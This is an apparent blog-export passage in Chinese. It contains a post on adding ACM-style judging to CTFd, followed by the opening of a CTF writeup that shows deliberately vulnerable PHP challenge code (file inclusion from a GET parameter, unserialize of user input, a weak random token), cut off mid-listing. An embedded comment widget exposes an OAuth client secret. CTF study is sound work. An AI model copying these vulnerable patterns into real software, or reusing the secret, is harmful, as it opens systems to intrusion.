async\u003e\u003c/script\u003e","url":"https://blog.frankli.site/2019/08/06/Misc/2019%E6%9A%91%E6%9C%9F%E7%89%9B%E5%AE%A2%E5%A4%9A%E6%A0%A1/"},{"title":"给CTFd加上ACM评测功能","time":"2019-07-24T16:00:00Z","content":"\u003cblockquote\u003e\n\u003cp\u003e闲得蛋疼.jpg\u003c/p\u003e\n\u003c/blockquote\u003e\n\u003cp\u003e去年参加西电办的中学生CTF嫖了五千块钱,今年就能来西电办中学生CTF.jpg,真实的一批\u003c/p\u003e\n\u003cp\u003e去年的ACM题是直接起了个hustoj(我记得),这样就需要工作人员不断地检查榜单\u003chr /\u003e\u003cblockquote\u003e\u003cp\u003e闲得蛋疼.jpg\u003c/p\u003e\u003c/blockquote\u003e\u003cp\u003e去年参加西电办的中学生CTF嫖了五千块钱,今年就能来西电办中学生CTF.jpg,真实的一批\u003c/p\u003e\u003cp\u003e去年的ACM题是直接起了个hustoj(我记得),这样就需要工作人员不断地检查榜单并且手动发放flag,工作量大且效率低。于是我就来整个CTFdOJ,交的代码AC了自动加分。\u003c/p\u003e\u003ch2 id=\"前置\"\u003e前置\u003c/h2\u003e\u003ch3 id=\"CTFd-plugin\"\u003eCTFd plugin\u003c/h3\u003e\u003cp\u003e与其说是“魔改CTFd”不如说“给CTFd整个插件”\u003cbr\u003eCTFd自带的动态积分题目就是一个典型的插件。这个插件给CTFd添加了一种题目。\u003cbr\u003e那么添加“ACM题目类型”理所当然也应该写成一个插件\u003c/p\u003e\u003ch3 id=\"沙箱的选择\"\u003e沙箱的选择\u003c/h3\u003e\u003cp\u003e评测沙箱需要用来控制程序的行为,而且是OJ的核心部件,要精确统计程序的运行时间/空间占用信息。\u003cbr\u003e由于有很多现成的,那我就找一个拿来用吧\u003cbr\u003e综合功能和LICENSE等多种因素,最终选择了QDOJ的Judger\u003c/p\u003e\u003ch3 id=\"一些决定\"\u003e一些决定\u003c/h3\u003e\u003cul\u003e\u003cli\u003e将评测机与CTFd分离开来。\u003cul\u003e\u003cli\u003e考虑到CTFd只是一个题目平台,并不应该负责繁重的计算任务\u003c/li\u003e\u003cli\u003e将评测机和平台放在一起有修改成绩的隐患\u003c/li\u003e\u003c/ul\u003e\u003c/li\u003e\u003cli\u003e做安全的同学大概对Python更加熟悉,于是支持对Python程序的评测\u003c/li\u003e\u003cli\u003e通过配置文件能随时添加新的语言支持\u003c/li\u003e\u003c/ul\u003e\u003ch2 id=\"撸代码\"\u003e撸代码\u003c/h2\u003e\u003ch3 id=\"plugin\"\u003eplugin\u003c/h3\u003e\u003cpre\u003e\u003ccode\u003e负责添加/展示/设置题目,并在评测正确时为相应队伍加上对应的分数\u003c/code\u003e\u003c/pre\u003e\u003cp\u003e折腾了半天。。。推翻了以前越写越复杂还要改CTFd自己的数据库的写法以后重做了这个东西:\u003ca href=\"https://github.com/frankli0324/CTFd-ICPC-challenges\"\u003eICPC Plugin\u003c/a\u003e\u003c/p\u003e\u003ch3 id=\"translation-layer\"\u003etranslation layer\u003c/h3\u003e\u003cpre\u003e\u003ccode\u003e主要负责接受来自CTFd plugin的评测请求缓存测试用例,避免每次都要把40多M的input/output重新发一遍\u003c/code\u003e\u003c/pre\u003e\u003cp\u003e由于需要不同的功能,还是用flask方便一点。通过不同的URL来定位不同的功能。\u003cbr\u003e于是有了\u003ca href=\"https://github.com/frankli0324/JudgeServer\"\u003eJudgeServer\u003c/a\u003e\u003cbr\u003e对于不同的语言支持,可以在worker.json中配置。其中可以配置编译命令,执行命令,并且通过向命令中注入变量来控制细节。\u003cbr\u003e解释型语言不写编译命令就是了。\u003c/p\u003e\u003ch3 id=\"translation-layer-权限控制\"\u003etranslation layer::权限控制\u003c/h3\u003e\u003cp\u003eACM沙箱最头疼的就是权限。\u003cbr\u003e首先,用了别人的沙箱,可以丢过给别人。\u003cbr\u003e其次,这货跑在docker里头,断了外网。希望可以一劳永逸。\u003cbr\u003e还有,具体的权限控制\u003cstrong\u003e假定\u003c/strong\u003e都能通过命令行参数完成。比如\u003cbr\u003ejava的\u003ccode\u003e-Djava.security.manager\u003c/code\u003e选项\u003cbr\u003ePython可以跑在venv里头\u003c/p\u003e\u003ch2 id=\"总体流程\"\u003e总体流程\u003c/h2\u003e\u003cfigure class=\"highlight text\"\u003e\u003ctable\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e4\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e5\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e6\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e7\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e8\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e9\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e10\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e11\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e12\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e13\u003c/span\u003e\u003cbr\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e +--------+ +--------+\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e +-----------+ | | |\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e | R | | 1 | |\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e v | +------------\u0026gt; |\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e+------+---+ | | | |\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e| | | \u0026lt;------------+ |\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e|contestant| | CTFd | 2 | Judger |\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e| | | Plugin | | |\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e+------+---+ | | | |\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e | | | 3 | |\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e | S | +------------\u0026gt; |\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e +----------\u0026gt;+ | | |\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e +--------+ +--------+\u003c/span\u003e\u003cbr\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e上图中1、2、3分别表示CTFd在接收到一次submission(S)后与Judger可能的三种行为\u003c/p\u003e\u003ctable\u003e\u003cthead\u003e\u003ctr\u003e\u003cth\u003ecode\u003c/th\u003e\u003cth\u003eaction\u003c/th\u003e\u003c/tr\u003e\u003c/thead\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd\u003e1\u003c/td\u003e\u003ctd\u003e发送代码+题目id+语言,进行评测\u003c/td\u003e\u003c/tr\u003e\u003ctr\u003e\u003ctd\u003e2\u003c/td\u003e\u003ctd\u003e返回评测结果与评测过的最后一组数据的运行情况\u003c/td\u003e\u003c/tr\u003e\u003ctr\u003e\u003ctd\u003e3\u003c/td\u003e\u003ctd\u003e发送题目测试用例的URL\u003csup\u003e\u003cstrong\u003etodo\u003c/strong\u003e\u003c/sup\u003e+设定的资源限制,缓存题目评测信息\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003cp\u003e在收到一次Submission(S)后,Plugin首先尝试进行\u003ccode\u003e1\u003c/code\u003e。\u003cbr\u003e如果Judger此时并没有缓存过这个题目,则会返回评测错误,此时Plugin会尝试进行\u003ccode\u003e3\u003c/code\u003e,Judger则会缓存当前题目\u003cbr\u003ePlugin执行完\u003ccode\u003e3\u003c/code\u003e后会再次尝试\u003ccode\u003e1\u003c/code\u003e。\u003c/p\u003e\u003cblockquote\u003e\u003cp\u003e真是憨憨,自嗨行为\u003c/p\u003e\u003c/blockquote\u003e\u003cdiv id=\"gitalk-container\"\u003e\u003c/div\u003e\u003cscript src=\"https://cdn.bootcss.com/blueimp-md5/2.12.0/js/md5.min.js\"\u003e\u003c/script\u003e\u003clink rel=\"stylesheet\" href=\"https://unpkg.com/gitalk/dist/gitalk.css\"\u003e\u003cscript src=\"https://unpkg.com/gitalk/dist/gitalk.min.js\"\u003e\u003c/script\u003e\u003cscript\u003evar gitalkConfig = {\"clientID\":\"5955d155fe2ea768241e\",\"clientSecret\":\"f96bbda9ff434950217f24f7f9369f8b8de3b025\",\"repo\":\"frankli0324.github.io\",\"owner\":\"frankli0324\",\"admin\":[\"frankli0324\"],\"distractionFreeMode\":false}; gitalkConfig.id = md5(location.pathname);var gitalk = new Gitalk(gitalkConfig); gitalk.render(\"gitalk-container\"); \u003c/script\u003e\u003clink rel=\"stylesheet\" href=\"/css/spoiler.css\" type=\"text/css\"\u003e\u003cscript src=\"/js/spoiler.js\" type=\"text/javascript\" async\u003e\u003c/script\u003e","url":"https://blog.frankli.site/2019/07/25/Dev/%E7%BB%99CTFd%E5%8A%A0%E4%B8%8AACM%E8%AF%84%E6%B5%8B%E5%8A%9F%E8%83%BD/"},{"title":"第十二届全国大学生信息安全竞赛西北赛区 部分题目 Writeup","time":"2019-04-21T16:00:00Z","content":"\u003ch2 id=\"JustSoso\"\u003eJustSoso\u003c/h2\u003e\n\u003cdiv class='spoiler collapsed'\u003e\n \u003cdiv class='spoiler-title'\u003e\n 题目源码\n \u003c/div\u003e\n \u003cdiv class='spoi\u003chr /\u003e\u003ch2 id=\"JustSoso\"\u003eJustSoso\u003c/h2\u003e\u003cdiv class='spoiler collapsed'\u003e \u003cdiv class='spoiler-title'\u003e 题目源码 \u003c/div\u003e \u003cdiv class='spoiler-content'\u003e \u003cfigure class=\"highlight php\"\u003e\u003ctable\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e4\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e5\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e6\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e7\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e8\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e9\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e10\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e11\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e12\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e13\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e14\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e15\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e16\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e17\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e18\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e19\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e20\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e21\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e22\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e23\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e24\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e25\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e26\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e27\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e28\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e29\u003c/span\u003e\u003cbr\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"comment\"\u003e// index.php\u003c/span\u003e\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"meta\"\u003e\u0026lt;?php\u003c/span\u003e\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003eerror_reporting(\u003cspan class=\"number\"\u003e0\u003c/span\u003e);\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"variable\"\u003e$file\u003c/span\u003e = \u003cspan class=\"variable\"\u003e$_GET\u003c/span\u003e[\u003cspan class=\"string\"\u003e\u0026quot;file\u0026quot;\u003c/span\u003e];\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"variable\"\u003e$payload\u003c/span\u003e = \u003cspan class=\"variable\"\u003e$_GET\u003c/span\u003e[\u003cspan class=\"string\"\u003e\u0026quot;payload\u0026quot;\u003c/span\u003e];\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"keyword\"\u003eif\u003c/span\u003e(!\u003cspan class=\"keyword\"\u003eisset\u003c/span\u003e(\u003cspan class=\"variable\"\u003e$file\u003c/span\u003e))\u0026#123;\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003eecho\u003c/span\u003e \u003cspan class=\"string\"\u003e\u0026#x27;Missing parameter\u0026#x27;\u003c/span\u003e.\u003cspan class=\"string\"\u003e\u0026#x27;\u0026lt;br\u0026gt;\u0026#x27;\u003c/span\u003e;\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e\u0026#125;\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"keyword\"\u003eif\u003c/span\u003e(preg_match(\u003cspan class=\"string\"\u003e\u0026quot;/flag/\u0026quot;\u003c/span\u003e,\u003cspan class=\"variable\"\u003e$file\u003c/span\u003e))\u0026#123;\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003edie\u003c/span\u003e(\u003cspan class=\"string\"\u003e\u0026#x27;hack attacked!!!\u0026#x27;\u003c/span\u003e);\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e\u0026#125;\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e@\u003cspan class=\"keyword\"\u003einclude\u003c/span\u003e(\u003cspan class=\"variable\"\u003e$file\u003c/span\u003e);\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"keyword\"\u003eif\u003c/span\u003e(\u003cspan class=\"keyword\"\u003eisset\u003c/span\u003e(\u003cspan class=\"variable\"\u003e$payload\u003c/span\u003e))\u0026#123;\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"variable\"\u003e$url\u003c/span\u003e = parse_url(\u003cspan class=\"variable\"\u003e$_SERVER\u003c/span\u003e[\u003cspan class=\"string\"\u003e\u0026#x27;REQUEST_URI\u0026#x27;\u003c/span\u003e]);\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e parse_str(\u003cspan class=\"variable\"\u003e$url\u003c/span\u003e[\u003cspan class=\"string\"\u003e\u0026#x27;query\u0026#x27;\u003c/span\u003e],\u003cspan class=\"variable\"\u003e$query\u003c/span\u003e);\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003eforeach\u003c/span\u003e(\u003cspan class=\"variable\"\u003e$query\u003c/span\u003e \u003cspan class=\"keyword\"\u003eas\u003c/span\u003e \u003cspan class=\"variable\"\u003e$value\u003c/span\u003e)\u0026#123;\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003eif\u003c/span\u003e (preg_match(\u003cspan class=\"string\"\u003e\u0026quot;/flag/\u0026quot;\u003c/span\u003e,\u003cspan class=\"variable\"\u003e$value\u003c/span\u003e)) \u0026#123;\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003edie\u003c/span\u003e(\u003cspan class=\"string\"\u003e\u0026#x27;stop hacking!\u0026#x27;\u003c/span\u003e);\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003eexit\u003c/span\u003e();\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e \u0026#125;\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e \u0026#125;\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"variable\"\u003e$payload\u003c/span\u003e = unserialize(\u003cspan class=\"variable\"\u003e$payload\u003c/span\u003e);\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e\u0026#125;\u003cspan class=\"keyword\"\u003eelse\u003c/span\u003e\u0026#123;\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003eecho\u003c/span\u003e \u003cspan class=\"string\"\u003e\u0026quot;Missing parameters\u0026quot;\u003c/span\u003e;\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e\u0026#125;\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"meta\"\u003e?\u0026gt;\u003c/span\u003e\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e\u0026lt;!--Please test index.php?file=xxx.php --\u0026gt;\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e\u0026lt;!--Please get the source of hint.php--\u0026gt;\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e\u0026lt;/html\u0026gt;\u003c/span\u003e\u003cbr\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/table\u003e\u003c/figure\u003e\u003cfigure class=\"highlight php\"\u003e\u003ctable\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e4\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e5\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e6\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e7\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e8\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e9\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e10\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e11\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e12\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e13\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e14\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e15\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e16\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e17\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e18\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e19\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e20\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e21\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e22\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e23\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e24\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e25\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e26\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e27\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e28\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e29\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e30\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e31\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e32\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e33\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e34\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e35\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e36\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e37\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e38\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e39\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e40\u003c/span\u003e\u003cbr\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"comment\"\u003e// hint.php\u003c/span\u003e\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"meta\"\u003e\u0026lt;?php\u003c/span\u003e\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"class\"\u003e\u003cspan class=\"keyword\"\u003eclass\u003c/span\u003e \u003cspan class=\"title\"\u003eHandle\u003c/span\u003e\u003c/span\u003e\u0026#123;\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003eprivate\u003c/span\u003e \u003cspan class=\"variable\"\u003e$handle\u003c/span\u003e;\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003epublic\u003c/span\u003e \u003cspan class=\"function\"\u003e\u003cspan class=\"keyword\"\u003efunction\u003c/span\u003e \u003cspan class=\"title\"\u003e__wakeup\u003c/span\u003e(\u003cspan class=\"params\"\u003e\u003c/span\u003e)\u003c/span\u003e\u0026#123;\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003eforeach\u003c/span\u003e(get_object_vars(\u003cspan class=\"keyword\"\u003e$this\u003c/span\u003e) \u003cspan class=\"keyword\"\u003eas\u003c/span\u003e \u003cspan class=\"variable\"\u003e$k\u003c/span\u003e =\u0026gt; \u003cspan class=\"variable\"\u003e$v\u003c/span\u003e) \u0026#123;\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003e$this\u003c/span\u003e-\u0026gt;\u003cspan class=\"variable\"\u003e$k\u003c/span\u003e = \u003cspan class=\"literal\"\u003enull\u003c/span\u003e;\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e \u0026#125;\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003eecho\u003c/span\u003e \u003cspan class=\"string\"\u003e\u0026quot;Waking up\\n\u0026quot;\u003c/span\u003e;\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e \u0026#125;\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003epublic\u003c/span\u003e \u003cspan class=\"function\"\u003e\u003cspan class=\"keyword\"\u003efunction\u003c/span\u003e \u003cspan class=\"title\"\u003e__construct\u003c/span\u003e(\u003cspan class=\"params\"\u003e\u003cspan class=\"variable\"\u003e$handle\u003c/span\u003e\u003c/span\u003e) \u003c/span\u003e\u0026#123;\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003e$this\u003c/span\u003e-\u0026gt;handle = \u003cspan class=\"variable\"\u003e$handle\u003c/span\u003e;\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e \u0026#125;\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003epublic\u003c/span\u003e \u003cspan class=\"function\"\u003e\u003cspan class=\"keyword\"\u003efunction\u003c/span\u003e \u003cspan class=\"title\"\u003e__destruct\u003c/span\u003e(\u003cspan class=\"params\"\u003e\u003c/span\u003e)\u003c/span\u003e\u0026#123;\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003e$this\u003c/span\u003e-\u0026gt;handle-\u0026gt;getFlag();\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e \u0026#125;\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e\u0026#125;\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"class\"\u003e\u003cspan class=\"keyword\"\u003eclass\u003c/span\u003e \u003cspan class=\"title\"\u003eFlag\u003c/span\u003e\u003c/span\u003e\u0026#123;\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003epublic\u003c/span\u003e \u003cspan class=\"variable\"\u003e$file\u003c/span\u003e;\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003epublic\u003c/span\u003e \u003cspan class=\"variable\"\u003e$token\u003c/span\u003e;\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003epublic\u003c/span\u003e \u003cspan class=\"variable\"\u003e$token_flag\u003c/span\u003e;\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"function\"\u003e\u003cspan class=\"keyword\"\u003efunction\u003c/span\u003e \u003cspan class=\"title\"\u003e__construct\u003c/span\u003e(\u003cspan class=\"params\"\u003e\u003cspan class=\"variable\"\u003e$file\u003c/span\u003e\u003c/span\u003e)\u003c/span\u003e\u0026#123;\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003e$this\u003c/span\u003e-\u0026gt;file = \u003cspan class=\"variable\"\u003e$file\u003c/span\u003e;\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003e$this\u003c/span\u003e-\u0026gt;token_flag = \u003cspan class=\"keyword\"\u003e$this\u003c/span\u003e-\u0026gt;token = md5(rand(\u003cspan class=\"number\"\u003e1\u003c/span\u003e,\u003cspan class=\"number\"\u003e10000\u003c/span\u003e));\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e \u0026#125;\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003epublic\u003c/span\u003e \u003cspan class=\"function\"\u003e\u003cspan class=\"keyword\"\u003efunction\u003c/span\u003e \u003cspan class=\"title\"\u003egetFlag\u003c/span\u003e(\u003cspan class=\"params\"\u003e\u003c/span\u003e)\u003c/span\u003e\u0026#123;\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003e$this\u003c/span\u003e-\u0026gt;token_flag = md5(rand(\u003cspan class=\"number\"\u003e1\u003c/span\u003e,\u003cspan class=\"number\"\u003e10000\u003c/span\u003e));\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003eecho\u003c/span\u003e \u003cspan class=\"string\"\u003e\u0026#x27;asdf\u0026#x27;\u003c/span\u003e;\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003eif\u003c/span\u003e(\u003cspan class=\"keyword\"\u003e$this\u003c/span\u003e-\u0026gt;token === \u003cspan class=\"keyword\"\u003e$this\u003c/span\u003e-\u0026gt;token_flag)\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e \u0026#123;\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003eif\u003c/span\u003e(\u003cspan class=\"keyword\"\u003eisset\u003c/span\u003e(\u003cspan class=\"keyword\"\u003e$this\u003c/span\u003e-\u0026gt;file))\u0026#123;\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003eecho\u003c/span\u003e @highlight_file(\u003cspan class=\"keyword\"\u003e$this\u003c/span\u003e-\u0026gt;file,\u003cspan class=\"literal\"\u003etrue\u003c/span\u003e);\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e \u0026#125;\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e \u0026#125;\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e \u0026#125;\u003c/span\u003e\u003cbr\u003e\u003cspan 